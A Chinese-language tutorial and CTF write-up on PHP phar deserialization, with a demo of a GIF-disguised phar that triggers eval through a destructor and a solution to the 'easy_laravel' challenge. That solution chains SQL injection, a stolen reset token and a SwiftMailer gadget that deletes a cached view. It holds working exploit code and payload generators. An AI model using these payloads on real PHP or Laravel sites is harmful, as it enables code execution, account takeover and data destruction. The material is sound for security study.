phar 反序列化學習
前言
phar
是 php
支援的一種偽協議, 在一些檔案處理函式的路徑引數中使用的話就會觸發反序列操作。
利用條件
phar
檔案要能夠上傳到伺服器端。- 要有可用的魔術方法作為“跳板” (
php
反序列化漏洞的pop
鏈)。 - 檔案操作函式的引數可控,且
:
、/
、phar
等特殊字元沒有被過濾。
Demo
測試程式碼
測試程式碼如下
upload_file.php
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
實現了一個簡單的上傳功能,只允許上傳 .gif
檔案。
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
這裡定義了一個類,在 __destruct
方法中會呼叫 eval
來執行類屬性中的程式碼。
file_exists
的引數我們可控,所以可以通過 phar
AnyClass
, 進而實現 程式碼執行。
利用步驟
首先構造一個 phar
檔案並上傳到伺服器
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this->output); } } $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設定stub,增加gif檔案頭 $phar->addFromString('test.txt','test'); //新增要壓縮的檔案 $object = new AnyClass(); $object->output = 'phpinfo();'; $phar->setMetadata($object); //將自定義meta-data存入manifest $phar->stopBuffering(); ?>
然後把 phar.phar
上傳
最後訪問 file_un.php
, 使用 phar://
來觸發反序列化。
護網杯 easy_laravel
測試環境位於
https://github.com/sco4x0/huwangbei2018_easy_laravel
首先使用
php artisan route:list
看看程式中的控制器
發現控制器基本都需要登入才能訪問,其中有些控制器更是需要 admin
許可權。
在 app/Http/Middleware/AdminMiddleware.php
裡面定義了 admin
許可權判斷的程式碼
class AdminMiddleware
{
public function __construct(Guard $auth)
{
$this->auth = $auth;
}
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== '[email protected]') {
return redirect(route('error'));
}
return $next($request);
}
}
當用戶註冊郵箱為 [email protected]
就有 admin
許可權。
當權限後可以訪問 flag
獲取 flag
class FlagController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
}
public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}
}
首先我們現在要做的就是想辦法獲取 admin
許可權。嘗試註冊 [email protected]
發現已經被註冊,不能重複註冊。然後去程式碼裡看看有沒有其他漏洞。
最後發現在 NoteController
存在 sql
注入
class NoteController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}
}
取我們註冊時用的使用者名稱插入到 sql
語句裡面造成注入。
表的結構可以看 database/migrations/
。首先用 order by
語句測試發現列數為 5
. 然後 union
查詢
發現密碼用 bcrypt
做的 hash
, 而且是 40
位元組的隨機字串。所以密碼是沒辦法爆破了。
程式中還有重置密碼的功能,於是可以通過注入獲取重置 [email protected]
需要的 token
然後訪問
http://192.168.245.128/password/reset/f663eb2c795b7d95c91941f9a75934957846114169692d822b9e13737694a72b
把 [email protected]
的密碼重置掉。
然後就可以登入到 admin
介面
訪問 /flag
發現沒有按照控制器中的程式碼一樣打印出 /th1s1s_F14g_2333333
的內容。
因為舊的快取存在,導致我們看不到 flag
, 我們需要刪掉快取檔案, 然後就可以讀到 flag
快取檔案位於
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
通過
知道使用了nginx
的預設配置,那麼 flag
檔案的完整路徑就是
/usr/share/nginx/html/resources/views/auth/flag.blade.php
經過 sha1
後得到 34e41df0934a75437873264cd28e2d835bc38772.php
所以現在的思路就是
- 刪掉
34e41df0934a75437873264cd28e2d835bc38772.php
- 然後訪問
/flag
, 獲取flag
在 UploadController 裡,可以注入 phar
導致反序列化
class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
public function index()
{
return view('upload');
}
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上傳成功');
return redirect(route('upload'));
}
}
Flash::error('上傳失敗');
return redirect(route('upload'));
}
public function files()
{
$files = array_except(Storage::allFiles('public'), ['0']);
return view('files')->with('files', $files);
}
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁碟檔案已刪除,重新整理檔案列表');
}else{
Flash::success('檔案有效');
}
}
return redirect(route('files'));
}
}
check
函式取了兩個引數拼接成路徑傳給了 file_exists
函式, 而且 upload
可以進行上傳。
所以我們可以通過 phar
來進行反序列化。
全域性搜一下unlink
,在Swift_ByteStream_TemporaryFileByteStream
的解構函式中存在unlink
方法
於是利用這個類來反序列化,刪掉模板檔案即可。
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;
/** The path to the file */
private $_path;
/** The mode this file is opened in for writing */
private $_mode;
/** A lazy-loaded resource handle for reading the file */
private $_reader;
/** A lazy-loaded resource handle for writing the file */
private $_writer;
/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;
/** If stream is seekable true/false, or null if not known */
private $_seekable = null;
/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
把生成的檔案改成圖片字尾上傳上去, 會儲存到 storage/app/public/
目錄, 然後用 phar
反序列化
然後在 訪問 /flag
獲取 flag
參考
https://xz.aliyun.com/t/2715#toc-8
https://www.anquanke.com/post/id/161849#h2-3
https://xz.aliyun.com/t/2912#toc-1
http://www.venenof.com/index.php/archives/565/